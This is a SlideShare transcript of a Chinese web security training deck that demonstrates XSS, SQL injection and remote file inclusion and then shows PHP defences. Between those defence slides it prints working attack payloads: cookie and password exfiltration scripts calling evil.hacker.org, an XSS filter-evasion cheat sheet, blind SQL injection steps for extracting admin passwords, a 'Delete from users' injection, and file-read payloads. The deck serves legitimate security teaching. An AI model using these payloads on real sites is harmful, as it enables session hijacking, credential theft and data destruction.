Your SlideShare is downloading. ×
0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Web安全解决方案V1.0
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×
Saving this for later? Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime – even offline.
Text the download link to your phone
Standard text messaging rates apply

Web安全解决方案V1.0

3,187

Published on

Published in: Technology
0 Comments
18 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
3,187
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
0
Comments
0
Likes
18
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide
  • Transcript

    • 1. Penetration test Software developer Security analyst Security consultation Whatever
    • 2. 跨站攻击 注入攻击 远程文件执行 CSRF 攻击 访问控制缺陷 配置错误 数据存储不安全 直接对象参考不安全 认证和会话管理不完善 通信不安全
    • 3. 入侵技术交流 防御 XSS
    • 4.  
    • 5. 1. 攻击者向服务器插入恶意代码 2. 数据库存储恶意代码 姚明… 3. 互联网用户点击主题 4. 数据传送给互联网用户 5. 浏览器执行恶意代码 Attacker Client Web Server 免费赠送奥运门票 !!! <script> attack code </script> !!! attack code !!! 刘翔… 郑智… 郭晶晶… 中国队 ..... 攻击者、弱点网站、互联网用户的 互动游戏 Post Forum Message: 主题 : 免费赠送奥运门票 !!! 内容 : <script> attack code </script> 免费赠送奥运门票 !!! <script> attack code </script> Get /forum.php?fid=122&mid=241
    • 6. 姚明… Attacker Client Web Server 免费赠送奥运门票 !!! <script> attack code </script> !!! attack code !!! 刘翔… ..... 郑智… ..... 郭晶晶… 中国队 ..... cookies Post Forum Message: 主题 : 免费赠送奥运门票 !!! 内容 : <script> attack code </script> 免费赠送奥运门票 !!! <script> attack code </script> Get /forum.php?fid=122&mid=241
    • 7. 姚明… Attacker Client Web Server 免费赠送奥运门票 !!! <script> attack code </script> !!! attack code !!! 刘翔… ..... 郑智… ..... 郭晶晶… 中国队 ..... phishing username/password Post Forum Message: 主题 : 免费赠送奥运门票 !!! 内容 : <script> attack code </script> 免费赠送奥运门票 !!! <script> attack code </script> Get /forum.php?fid=122&mid=241
    • 8. 姚明… Attacker Client Web Server 免费赠送奥运门票 !!! <script> attack code </script> !!! attack code !!! 刘翔… ..... 郑智… ..... 郭晶晶… 中国队 ..... spoofed Server Post Forum Message: 主题 : 免费赠送奥运门票 !!! 内容 : <script> attack code </script> 免费赠送奥运门票 !!! <script> attack code </script> Get /forum.php?fid=122&mid=241
    • 9. 姚明… Attacker Client Web Server 免费赠送奥运门票 !!! <script> attack code </script> !!! attack code !!! 刘翔… ..... 郑智… ..... 郭晶晶 中国队 ..... botnet Post Forum Message: 主题 : 免费赠送奥运门票 !!! 内容 : <script> attack code </script> 免费赠送奥运门票 !!! <script> attack code </script> Get /forum.php?fid=122&mid=241
    • 10. <?php print 'welcome '.$_GET['name']; ?> http://example/welcome.php?name=Wong_Bin <HTML> <Body> Welcome Wong_Bin </Body> </HTML>
    • 11. <?php print 'welcome '.$_GET['name']; ?> http://example/welcome.php?name=<script>alert("XSS")</script> <HTML> <Body> Welcome <script>alert("XSS")</script> </Body> </HTML>
    • 12. <Font size=5> Update your email address</ font> <form name="inject" method="post" action="http://example/update.php"> <input type="text" name="search" size=60> <input type="submit" value=" 确定 "> </ form> <?php ... $email = $_GET['email']; $query = "update user set email='$email' where name='wong'"; $db_query = mysql_db_query($dbname,$query); $db_resutl = mysql_num_rows($db_query); if ($db_resutl) { print “Success update... "; } ?> <?php ... $query = select email from user where name = 'wong' $db_query = mysql_db_query($dbname,$query); $db_resutl = mysql_result ($db_query, 0); if ($db_resutl) { echo "<p>EMAIL Address:$ db_resutl <p>"; } ?> <HTML> EMAIL Address: huangbin@nsfocus.com </HTML> [email_address] Update your email address 确定
    • 13. <Font size=5> Update your email address</ font> <form name="inject" method="post" action="http://example/update.php"> <input type="text" name="search" size=60> <input type="submit" value=" 确定 "> </ form> <?php ... $email = $_GET['email']; $query = "update user set email='$email' where name='wong'"; $db_query = mysql_db_query($dbname,$query); $db_resutl = mysql_num_rows($db_query); if ($db_resutl) { print “Success update... "; } ?> <?php ... $query = select email from user where name = 'wong' $db_query = mysql_db_query($dbname,$query); $db_resutl = mysql_result ($db_query, 0); if ($db_resutl) { echo "<p>EMAIL Address:$ db_resutl <p>"; } ?> <HTML> EMAIL Address: huangbin@nsfocus.com </HTML> huangbin@nsfocus.com<script>document.location ='http://evil.hacker.org/steal_cookies.php?cookies=‘%20+encodeURI(document.cookie);</script> http://evil.hacker.org. Steal Cookes!!! Update your email address 确定
    • 14. 姚明… Attacker Client Web Server 免费赠送奥运门票 !!! <script> attack code </script> <HTML> 欢迎来到奥运论坛! 用户名: 密 码: </HTML> 刘翔… ..... 郑智… ..... 郭晶晶 ..... 中国队 ..... User_information.txt 记录用户名和密码 奥运论坛 主题 : 免费赠送奥运门票 !!! 内容 : <script> attack code </script> 免费赠送奥运门票 !!! <script> attack code </script> Get /forum.php?fid=122&mid=241 输入用户名、密码。登陆……
    • 15. … <body background=javascript:evil=document.createElement("script");evil.src="http://evil.hack.org/xss.js";document.body.appendChild(evil);> … <SCRIPT language=JavaScript> function Phishing() { evil_code = Make a Phishing Page by … document.write(evil_code); } Phishing() </SCRIPT> ... <form>action="user_infomation.php" method="post" onsubmit="evilImg=new Image; evil.src='http://evil.hacker.org/'+document.forms(1).login.value'+':'+ document.forms(1).password.value;"</form> ... <?php if (isset($_POST['username']) && isset($_POST['password'])) { $filename = "/www/user_information.txt"; $file = @fopen($file_path, "a"); $info = "user: ".$_POST['username']." passwd:".$_POST['password']." "; @fwrite($file, $info); @fclose($file); } ?> Phish Attacker Client 请重新登陆 用户: 密码: 确定 取消
    • 16. &lt;INPUT TYPE=&amp;quot;image&amp;quot; SRC=&amp;quot;http://example&amp;quot;&gt;&lt;script&gt;alert(&apos;xss&apos;)&lt;/script&gt; &lt;INPUT TYPE=&amp;quot;image&amp;quot; SRC=&amp;quot;http://example&amp;quot;&gt; <ul><ul><li> Normally </li></ul></ul><ul><ul><li> Evil </li></ul></ul>
    • 17. <ul><ul><li> Danger </li></ul></ul>replace(str,&amp;quot;&lt;&amp;quot;,&amp;quot;&amp;lt;&amp;quot;) replace(str,&amp;quot;&gt;&amp;quot;,&amp;quot;&amp;gt;&amp;quot;) ‘ &lt;script.*&gt;’ <ul><ul><li> Weak </li></ul></ul>
    • 18. &lt;INPUT TYPE=&amp;quot;image&amp;quot; SRC=javascript:alert(&amp;quot;xss&amp;quot;) &gt; <ul><ul><li> Evil </li></ul></ul>Dim re     Set re=new RegExp     re.IgnoreCase =True     re.Global=True re.Pattern=&amp;quot;javascript:&amp;quot;     Str = re.replace(Str,&amp;quot;javascript : &amp;quot;)     re.Pattern=&amp;quot;jscript:&amp;quot;    Str = re.replace(Str,&amp;quot;jscript : &amp;quot;)     re.Pattern=&amp;quot;vbscript:&amp;quot;    Str = re.replace(Str,&amp;quot;vbscript : &amp;quot;) set re=nothing <ul><ul><li> N ot so good </li></ul></ul><ul><ul><li> Danger </li></ul></ul>javascript:
    • 19. &lt;INPUT TYPE=&amp;quot;image&amp;quot; SRC=javascript&amp;#58alert(&amp;quot;xss&amp;quot;)&gt; <ul><ul><li> Evil </li></ul></ul><ul><ul><li> Danger </li></ul></ul>‘ &amp; ’ replace(str,&amp;quot;&amp;&amp;quot;,&amp;quot;&amp;amp;&amp;quot;) <ul><ul><li> Weak </li></ul></ul>
    • 20. &lt;img src=&amp;quot;javas cript:alert(&apos;xss&apos;)&amp;quot;&gt; <ul><ul><li> Evil </li></ul></ul><ul><ul><li> Danger </li></ul></ul>replace(str,“ ”,“&amp;nbsp; “) <ul><ul><li> Weak </li></ul></ul>
    • 21. http://example/weak.php?username=%3A%69%6E%70%75%74%21%74%79%70%65%3D%68%69%64%64%65%6E%20%76%61%6C%75%65%3D%47%6F%74%63%68%61%21%20%6E%61%6D%66%20%3D%20%78%3E%20%3C%73%63%71%69%71%74%3E%20%61%6C%65%72%71%28%78%2C%76%61%6C%75%65%29%27%3C%2F%73%63%72%69%70%74%3E%4A%69%6C http://example/weak.php?username=&lt;input type=hidden value=v name = x&gt; &lt;script&gt;alert(x.value)&lt;/script&gt;Wrong <ul><ul><li> Evillooking </li></ul></ul>
    • 22. function safe_html($msg) { $msg = str_replace(&apos;&amp;amp;&apos;,&apos;&amp;&apos;,$msg); $msg = str_replace(&apos;&amp;nbsp;&apos;,&apos; &apos;,$msg); $msg = str_replace(&apos;&amp;quot;&apos;,&apos;&amp;quot;&apos;,$msg); $msg = str_replace(&amp;quot;&apos;&amp;quot;,&apos;&amp;#39;&apos;,$msg); $msg = str_replace(&amp;quot;&lt;&amp;quot;,&amp;quot;&amp;lt;&amp;quot;,$msg); $msg = str_replace(&amp;quot;&gt;&amp;quot;,&amp;quot;&amp;gt;&amp;quot;,$msg); $msg = str_replace(&amp;quot; &amp;quot;,&amp;quot; &amp;nbsp; &amp;nbsp;&amp;quot;,$msg); $msg = str_replace(&amp;quot; &amp;quot;,&amp;quot;&amp;quot;,$msg); $msg = str_replace(&amp;quot; &amp;quot;,&amp;quot; &amp;nbsp; &amp;quot;,$msg); return $msg; } Danger input Encoding input
    • 23. &lt;img src=&amp;quot;#&amp;quot; onerror=alert(/xss/)&gt; <ul><ul><li> Evil </li></ul></ul>&lt;img src=&amp;quot;#&amp;quot; style=“evil:expression(alert(/xss/));&amp;quot;&gt; &lt;img src=&amp;quot;#&amp;quot;/**/onerror=alert(/xss/) &gt; <ul><ul><li> Evil </li></ul></ul><ul><ul><li> Evil </li></ul></ul>
    • 24. HTML 表单 WEB 程序 数据库 WEB 程序 浏览器    
    • 25. HTML 表单 WEB 程序 数据库 WEB 程序 浏览器  replace(str, safer, danger) …… …… <ul><ul><li>事前 </li></ul></ul>Htmlspecialchars ($html, ENT_QUOTES) …… <ul><ul><li>事中 </li></ul></ul>FireFox no script …… …… <ul><ul><li>事后 </li></ul></ul>
    • 26. <ul><ul><li> Danger </li></ul></ul><ul><ul><li> Danger </li></ul></ul>
    • 27. POST / thepage.jsp?var1=page1.html HTTP/1.1 Accept: */* Referer: http:// www.myweb.com/index.html Accept-Language: en-us,de;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-url-encoded Content-Lenght: 59 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Host: www. myweb.com Connection: Keep-Alive uid=fred&amp;password=secret&amp;pagestyle=default.css&amp;action=login <ul><ul><li>Danger </li></ul></ul>
    • 28. ‘ &lt;script.*&gt;’ &lt;table background=javascript:evil()&gt; &lt;tr background=javascript:evil()&gt; &lt;body background=javascript:evil()&gt;
    • 29. &lt;input type=&apos;image&apos; src=javascript:evil()&gt; &lt;img src=&apos;javascript:evil()’&gt; &lt;frameset&gt; &lt;frame src=&amp;quot;javascript:danger()&amp;quot;&gt;...
    • 30. &lt;link rel=&amp;quot;stylesheet” href=javascript:evil()&gt; &lt;base href=javascript:evil()&gt;
    • 31. &lt;meta http-equiv=&amp;quot;refresh“ content=&amp;quot;0;url=javascript:danger()&amp;quot;&gt; &lt;p style=&apos;background-image: url(&amp;quot;javascript:danger();&amp;quot;)&apos;); &lt;a href=&apos;javascript:danger();&apos;&gt;
    • 32. &lt;body onload=&apos;danger();&apos;&gt; &lt;div onmouseover=&apos;danger();&apos;&gt; &lt;div onscroll=&apos;danger();&apos;&gt;
    • 33. &lt;div onmouseenter=&apos;danger();&apos;&gt;
    • 34. &lt;object type=&amp;quot;text/x-scriptlet“ data=&amp;quot;evil.com/danger.js&amp;quot;&gt; &lt;style&gt;@import evil.com/danger.js&lt;/style&gt; &lt;div style=&amp;quot;width:expression(danger();)&amp;quot;&gt;
    • 35. [IE] &lt;div style=&amp;quot;behaviour: url( [link to code] );&amp;quot;&gt; [Mozilla] &lt;div style=&amp;quot;binding: url( [link to code] );&amp;quot;&gt; [IE] &lt;div style=&amp;quot;width: expression( [code] );&amp;quot;&gt; [N4] &lt;style type= &amp;quot;text/javascript&amp;quot;&gt;[code] &lt;/style&gt; [IE] &lt;object classid=&amp;quot;clsid:...&amp;quot; codebase=&amp;quot;javascript:[code]&amp;quot; &gt; &lt;style&gt;&lt;!--&lt;/style&gt; &lt;script&gt;[code]//--&gt;&lt;/script&gt; &lt;![CDATA[&lt;!--]]&gt; &lt;script&gt;[code]//--&gt;&lt;/script&gt; &lt;!-- -- --&gt; &lt;script&gt;[code]&lt;/script&gt; &lt;!-- -- --&gt; &lt; &lt;script&gt;[code]&lt;/script&gt; &lt;img src=&amp;quot;blah&amp;quot;onmouseover=&amp;quot; [code] &amp;quot;&gt; &lt;img src=&amp;quot;blah&gt;&amp;quot; onmouseover=&amp;quot; [code] &amp;quot;&gt; &lt;xml src=&amp;quot; javascript:[code] &amp;quot;&gt; &lt;xml d=&amp;quot;X&amp;quot;&gt;&lt;a&gt;&lt;b&gt; &amp;lt;script&gt;[code]&amp;lt;/script&gt; ; &lt;/b&gt;&lt;/a&gt; &lt;/xml&gt; &lt;div datafld=&amp;quot;b&amp;quot; dataformatas=&amp;quot;html&amp;quot; datasrc=&amp;quot; #X &amp;quot;&gt;&lt;/div&gt; [UTF-8; IE, Opera] [xC0][xBC]script&gt;[code][xC0][xBC]/script&gt; &lt;a href=&amp;quot; javas&amp;#99;ript&amp;#35;[code] &amp;quot;&gt; &lt;div onmouseover=&amp;quot; [code] &amp;quot;&gt; &lt;img src=&amp;quot; javascript:[code] &amp;quot;&gt; [IE] &lt;img dynsrc=&amp;quot; javascript:[code] &amp;quot;&gt; [IE] &lt;input type=&amp;quot;image&amp;quot; dynsrc=&amp;quot; javascript:[code] &amp;quot;&gt; [IE] &lt;bgsound src=&amp;quot; javascript:[code] &amp;quot;&gt; &amp; &lt;script&gt;[code]&lt;/script&gt; [N4] &amp;{ [code] }; [N4] &lt;img src=&amp;{ [code] };&gt; &lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot; javascript:[code] &amp;quot;&gt; [IE] &lt;iframe src=&amp;quot; vbscript:[code] &amp;quot;&gt; [ N4] &lt;img src=&amp;quot; mocha:[code] &amp;quot;&gt; [N4] &lt;img src=&amp;quot; livescript:[code] &amp;quot;&gt; &lt; a href=&amp;quot;about: &lt;s&amp;#99;ript&gt;[code]&lt;/script&gt; &amp;quot;&gt; &lt;meta http-equiv=&amp;quot;refresh&amp;quot; content=&amp;quot;0;url= javascript:[code] &amp;quot;&gt; &lt;body onload=&amp;quot; [code] &amp;quot;&gt; &lt;div style=&amp;quot;background-image: url( javascript:[code] );&amp;quot;&gt;
    • 36. Htmlspecialchars() Htmlspecialchars() Strip_tags() $str = strip_tags($_POST[&apos;message&apos;], &apos;&lt;b&gt;&lt;p&gt;&lt;i&gt;&lt;u&gt;&apos;); $str = htmlentities($str); echo nl2br($str);
    • 37. &lt;?php $html = &apos;&lt;p&gt;&lt;i&gt;&lt;s&gt;Welcome to Nsfocus!&lt;/i&gt;&lt;/p&gt;&lt;/s&gt;&apos;; print strip_tags($html); print ‘ ’; // Allow &lt;p&gt;&lt;i&gt;&lt;s&gt; print strip_tags($html, &apos;&lt;p&gt;&lt;i&gt;&lt;s&gt;&apos;); ?&gt; &lt;?php $html = &apos;&lt;script&gt;alert(&amp;quot;xss attack!!&amp;quot;)&lt;/script&gt;&apos;; print strip_tags($html); print &amp;quot; &amp;quot;; // Allow &lt;script&gt; print strip_tags($html, &apos;&lt;script&gt;&apos;); ?&gt; Welcome to Nsfocus! alert(&amp;quot;xss attack!!&amp;quot;)
    • 38. &lt;?php $html = &amp;quot;&lt;a href=&apos;http://example&apos;&gt;evil link&lt;/a&gt;&amp;quot;; $new_html = htmlspecialchars($html, ENT_QUOTES); // &amp;lt;a href=&amp;#039;test&amp;#039;&amp;gt;Test&amp;lt;/a&amp;gt; print $html.&amp;quot; &amp;quot;; print $new_html; ?&gt; &lt;?php $html = &apos;&lt;script&gt;alert(&amp;quot;xss attack!!&amp;quot;)&lt;/script&gt;&apos;; $new_html = htmlspecialchars($html, ENT_QUOTES); // &amp;lt;a href=&amp;#039;test&amp;#039;&amp;gt;Test&amp;lt;/a&amp;gt; print $new_html.&amp;quot; &amp;quot;; print $html; ?&gt; evil link alert(&amp;quot;xss attack!!&amp;quot;) &lt;a href=&apos;test&apos;&gt;Test&lt;/a&gt;
    • 39. &lt;?php $html = &amp;quot;&lt;a href=&apos;http://example&apos;&gt;evil link&lt;/a&gt;&amp;quot;; $new_html = htmlspecialchars($html, ENT_QUOTES); // &amp;lt;a href=&amp;#039;test&amp;#039;&amp;gt;Test&amp;lt;/a&amp;gt; print $html.&amp;quot; &amp;quot;; print $new_html; ?&gt; &lt;?php $html = &apos;&lt;script&gt;alert(&amp;quot;xss attack!!&amp;quot;)&lt;/script&gt;&apos;; $new_html = htmlentities($html, ENT_QUOTES,’UTF-8’); // &amp;lt;a href=&amp;#039;test&amp;#039;&amp;gt;Test&amp;lt;/a&amp;gt; print $new_html.&amp;quot; &amp;quot;; print $html; ?&gt; evil link alert(&amp;quot;xss attack!!&amp;quot;) &lt;a href=&apos;test&apos;&gt;Test&lt;/a&gt;
    • 40. $_FILES[&apos;message&apos;] $_GET[&apos;message&apos;] $_REQUEST[&apos;message&apos;] $_POST[&apos;message&apos;] $HTTP_GET_VARS[&apos;message&apos;] More… $_COOKIE[&apos;message&apos;] $_ENV[&apos;message&apos;] $_SESSION[&apos;message&apos;] $_SERVER[&apos;message&apos;]
    • 41. &nbsp;
    • 42. 入侵技术交流 防御 SQL Injection
    • 43. &nbsp;
    • 44. ... &lt;form action = &amp;quot;login.php&amp;quot; method = &amp;quot;post&amp;quot; name = &amp;quot;login&amp;quot;&gt; 用户 :&lt;input type = &amp;quot;text&amp;quot; name = &amp;quot;username&amp;quot; value = &amp;quot;&amp;quot; maxlength = &amp;quot;20&amp;quot;&gt; 密码 :&lt;input type = &amp;quot;password&amp;quot; name = “password&amp;quot; value = &amp;quot;&amp;quot; maxlength = &amp;quot;20&amp;quot;&gt; &lt;INPUT TYPE=submit name = &amp;quot;confirm&amp;quot; value = &amp;quot; 确定 &amp;quot;&gt; &lt;INPUT TYPE=reset name = &amp;quot;cancel&amp;quot; value = &amp;quot; 取消 &amp;quot;&gt; &lt;/form&gt; ... &lt;?php $query= &amp;quot;select * from user where username= ‘$_GET[‘username&apos;]’ and password= ‘$_GET[‘password]’ ”; $db_query = mysql_db_query($dbname, $query); $db_resutl = mysql_fetch_array($db_query); if ($db_resutl) { print &amp;quot;Success in... &amp;quot;; } ?&gt; <ul><ul><li> </li></ul></ul>select * from user where username= ‘$_GET[‘username&apos;]’ and password= ‘$_GET[‘password]’ <ul><ul><li> </li></ul></ul>用户: 密码: 确定 取消
    • 45. select * from user where username= ‘$_GET[‘username&apos;]’ and password= ‘$_GET[‘password]’ admin select * from user where username=‘admin’ and password=‘’ or ‘’=‘’ Success in… ‘ or’’=‘ 用户: 密码: 确定 取消
    • 46. select * from user where username= ‘$_GET[‘username&apos;]’ and password= ‘$_GET[‘password]’ ‘ ;Delete from users;/* select * from user where username=‘‘;Delete from users;/*… Success in… <ul><ul><li> Worse </li></ul></ul>用户: 密码: 确定 取消
    • 47. &lt;Font size=5&gt;Search page&lt;/font&gt; &lt;form name=&amp;quot;inject&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;http://example/Search.php&amp;quot;&gt; &lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;name&amp;quot; size=60&gt; &lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot; 确定 &amp;quot;&gt; &lt;/form&gt; &lt;?php $search_name = $_GET[&apos;search_name&apos;]; $ query = &amp;quot;select * from user where username like ‘ %$search_name% ’ order by id desc&amp;quot;; $db_query = mysql_db_query($dbname,$ query); $db_resutl = mysql_num_rows($db_query); if ($db_resutl) { print &amp;quot;Search result... &amp;quot;; } ?&gt; <ul><ul><li> </li></ul></ul>select * from user where username like ‘ %$search_name %‘ order by id desc <ul><ul><li> </li></ul></ul>Search page: 确定
    • 48. select * from user where username like ‘%$search_name%‘ order by id desc select * from user where username like ‘%%‘ order by id #%’order by id desc All username show… %&apos; order by id# Search page: 确定
    • 49. &lt;Font size=5&gt;Update your password&lt;/font&gt; &lt;form name=&amp;quot;update&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;http://example/update.php&amp;quot;&gt; &lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;password&amp;quot; size=20&gt; &lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot; 确定 &amp;quot;&gt; &lt;/form&gt; &lt;?php $passwd = $_GET[‘password ‘]; $query = “update user set passwd=&apos;$passwd&apos; where uid=&apos;$uid&apos;&amp;quot;; $db_query = mysql_db_query($dbname,$query); $db_resutl = mysql_num_rows($db_query); if ($db_resutl) { print “Success in update... &amp;quot;; } ?&gt; <ul><ul><li> </li></ul></ul>update user set passwd=&apos;$passwd&apos; where uid=&apos;$uid&apos; <ul><ul><li> </li></ul></ul>Update your password: 确定
    • 50. update user set passwd=&apos;$passwd&apos; where uid=&apos;$uid&apos; update user set passwd=‘123’ where uid =‘1’/*where uid =‘252’ Uid1 password chang Update your password: 123’ where uid = ‘1’/* 确定
    • 51. Get /query.php?name=Wong &apos; Get /query.php?name=Wong’ and LEFT(password,1)=‘i Web Server … <ul><ul><li>MYSQL SERVER 将 varchar 值“ luyq@#11” 转换时发生语法错误。 /show/query.php ,第 87 行 </li></ul></ul><ul><ul><li>Password 是 luyq@#11 </li></ul></ul>Attacker FALSE FALSE
    • 52. Attacker Web Server Post /attacktarget?errors=Y&amp;debug=5 Show more … Get /query.php?user=joe’ Error message: $debug = 1 …
    • 53. show_source() highlight_string() highlight_file() Other Show error message function… <ul><ul><li> Take care </li></ul></ul>error_reporting() Php.ini ------- display_errors = off <ul><ul><li> Better </li></ul></ul>
    • 54. 1. 判断注入点 MSSQL SERVER!! Get /query.asp?name=Wong &apos; Get /query.asp?name=Wong and 1=1 Get /query.asp?name=Wong and 1=2 Web Server Attacker FALSE TRUE FALSE
    • 55. Get /query.asp?name= Wong and (select count(*) from admin)&gt;=0 Get /query.asp?name= Wong and (select count(user) from admin)&gt;=0 Get /query.asp?name= Wong and (select count(username) from admin)&gt;=0 … 1. 判断注入点 2. 探测数据库结构 MYSQLSERVER!! 表名 admin 字段 username.. Attacker Web Server TRUE FALSE TRUE
    • 56. Get /query.asp?name= Wong and (select top 1 len(username) from admin)&gt;5 Get /query.asp?name= Wong and (select top 1 len(username) from admin)&lt;10 Get /query.asp?name= Wong and (select top 1 len(username) from admin)=8 … 1. 判断注入点 2. 探测数据库结构 MSSQL SERVER!! 表名 admin 字段 username... 用户名长 5 位,密码长 8 位 3. 探测用户名和密码长度 Attacker Web Server TRUE TRUE TRUE
    • 57. Get /query.asp?name= Wong and 1= (select count(*) from admin where id=1 and mid(uaername,1,1)=&apos;a&apos;) Get /query.asp?name= Wong and 1= (select count(*) from admin where id=1 and mid(uaername,2,1)=‘r&apos;) … 1. 判断注入点 2. 探测数据库结构 MSSQL SERVER!! 表名 admin 字段 username... 用户名长 5 位,密码长 8 位 3. 探测用户名和密码长度 用户名: admin 密码 : jjyy@!&amp;1 4. 探测用户名和密码 Attacker Web Server TRUE FALSE
    • 58. 1. 判断注入点 MYSQL SERVER!! Get /query.php?name=joe’ Get /query.php?name=joe’ and 1=1 Get /query.php?name=joe’ and 1=2 Web Server Attacker FALSE TRUE FALSE
    • 59. Get /query.php?name= joe’ and LENGTH(password)&gt;‘5 Get /query.php?name= joe’ and LENGTH(password)&lt;‘15 Get /query.php?name= joe’ and LENGTH(password) =‘13 … 1. 判断注入点 2. 探测密码长度 MYSQLSERVER!! 密码长 13 位 Attacker Web Server TRUE TRUE TRUE
    • 60. Get /query.asp?name= joe’ and LEFT(password,1)=‘m Get /query.asp?name= joe’ and LEFT(password,1)=‘i Get /query.asp?name= joe’ and LEFT(password,2)=‘f … 1. 判断注入点 2. 探测密码长度 MYSQL SERVER!! 密码长 13 位 密码是 ilovepassword 3. 探测密码 Attacker Web Server FALSE TRUE FALSE
    • 61. Get /query.php?name= joe’ union select 1,1,1,1,1 from root_user/* Get /query.php?name= admin’ union select 1,1,1,1,1 from admin_user/* … 1. 判断注入点 2. 探测数据库结构 MSSQL SERVER!! 密码长 12 位 密码是 ilovepassword 3. 探测用户名和密码长度 猜测到存放管理员信息的 admin_user 表 4. 探测其它表 Attacker Web Server FALSE TRUE
    • 62. Get /query.php?name= joe’and 1&lt;&gt;1 union select 1,1,name,1,1,passwd,1 from admin_user /* 1. 判断注入点 2. 探测数据库结构 MSSQL SERVER!! 密码长 12 位 密码是 ilovepassword 3. 探测用户名和密码长度 猜测到存放管理员信息的 admin_user 表 4. 探测其它表 用户名: admin 密码 : fly_you ! @# 5. 拿到用户名和密码 Attacker Web Server TRUE
    • 63. Get /query.php?name= -1’ union select 1,1,1,1,load_file(&apos;c:/boot.ini&apos;) C lient Web Server C:oot.ini
    • 64. 合法 数据长度检测 数据类型检测 数据字符检测 合法 合法 否 合法 出错提示 否 否
    • 65. 客户端检查、过滤 合法 错误提示 错误提示 服务器响应 服务端检查、过滤 合法 处理提交信息 攻击备案 <ul><ul><li>输入 </li></ul></ul><ul><ul><li>输入 </li></ul></ul>绕过客户端检查 否 是 是 否 客户端 服务端
    • 66. &lt; &gt; &amp; ‘ “ + ; {Whitespace} % / # Danger !
    • 67. addslashes mysql_real_escape_strin PDO escapeshellarg escapeshellcmd magic_quotes_gpc register_globals safe_mode allow_url_fopen open_basedir disable_functions 注:解决方案少了,需要更多的时间去完成… …
    • 68. 入侵技术交流 防御 恶意文件执行
    • 69. &nbsp;
    • 70. Web Server Attacker Get /script.php?file=http%3A%2F%2F evil.hacker.org%2Fevilscript.txt root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin. ...
